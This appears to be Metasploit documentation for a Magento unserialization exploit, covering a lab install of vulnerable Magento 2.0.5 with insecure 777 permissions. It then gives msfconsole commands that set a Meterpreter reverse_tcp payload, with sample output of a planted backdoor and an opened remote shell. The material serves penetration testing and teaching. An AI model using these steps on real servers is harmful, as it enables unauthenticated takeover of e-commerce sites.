documentation/modules/exploit/multi/http/magento_unserialize.md
Magento is a popular open-source e-commerce platform written in PHP. An unserialization vulnerability exists in the product that allows an unauthenticated user to gain arbitrary code execution.
Magento Community and Enterprise editions before 2.0.6 are affected. The magento_unserialize module was specifically tested against version 2.0.6, on Ubuntu 14.04 and Debian.
For testing purposes, you can download the vulnerable applications here.
To set up a vulnerable version of Magento, please follow these steps. This is specific to Ubuntu 14, and assumes you are installing Magento under /var/www/html/.
sudo apt-get install apache2sudo apt-get install php5sudo a2enmod rewrite<Directory /var/www/html>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
tar -xf magento2-2.0.5.tar.gzsudo chmod 644 /var/www/html/.htaccesssudo service apache2 restartsudo apt-get install mysql-server-5.6. And follow the installation instructions of MySQL.sudo apt-get install php5-mysqlsudo apt-get install php5-mcryptsudo php5enmod mcryptsudo apt-get install php5-xsl php5-curl php5-intlsudo service apache2 restartsudo mkdir tmp, and cd to tmpcurl -sS https://getcomposer.org/installer | phpsudo mv composer /usr/local/bin/composercomposer installmysql -h localhost -u root -p[password]create database magento, and exitsudo rm -rf var/cache/*sudo rm -rf var/generation/*sudo rm -rf var/page_cache/*sudo php magento deploy:mode:set developer. It should say that you're in developer mode.sudo php magento setup:static-content:deploysudo php magento indexer:reindexsudo chmod -R 777 /var/www/htmlIf at some point the IP (base URL) of Magento has changed, then you will need to do these steps to update:
mysql -h localhost -u [username] -p[password]use [magento database name]select * from core_config_data;, you should see both web/unsecure/base_url (config ID 2) and web/secure/base_url (config ID 3) with the hardcoded IP.update core_config_data set value='http://[IP]/' where config_id=2;update core_config_data set value='https://[IP]/' where config_id=3;sudo rm -rf var/cache/*sudo rm -rf var/generation/*sudo rm -rf var/page_cache/*exploit/multi/http/magento_unserializeset RHOST [IP]set PAYLOAD php/meterpreter/reverse_tcpset LHOST [IP]exploitmsf exploit(magento_unserialize) > check
[*] 192.168.1.108:80 The target appears to be vulnerable.
msf exploit(magento_unserialize) > exploit
[*] Started reverse TCP handler on 192.168.1.94:4444
[+] 192.168.1.108:80 - generated a guest cart id
[+] 192.168.1.108:80 - backdoor done!
[*] Sending stage (33721 bytes) to 192.168.1.108
[*] Meterpreter session 6 opened (192.168.1.94:4444 -> 192.168.1.108:46835) at 2016-06-02 17:09:34 -0500
[+] 192.168.1.108:80 - Deleted lP5UgbUBLm1sWN25gWfZBqYKms.php
meterpreter >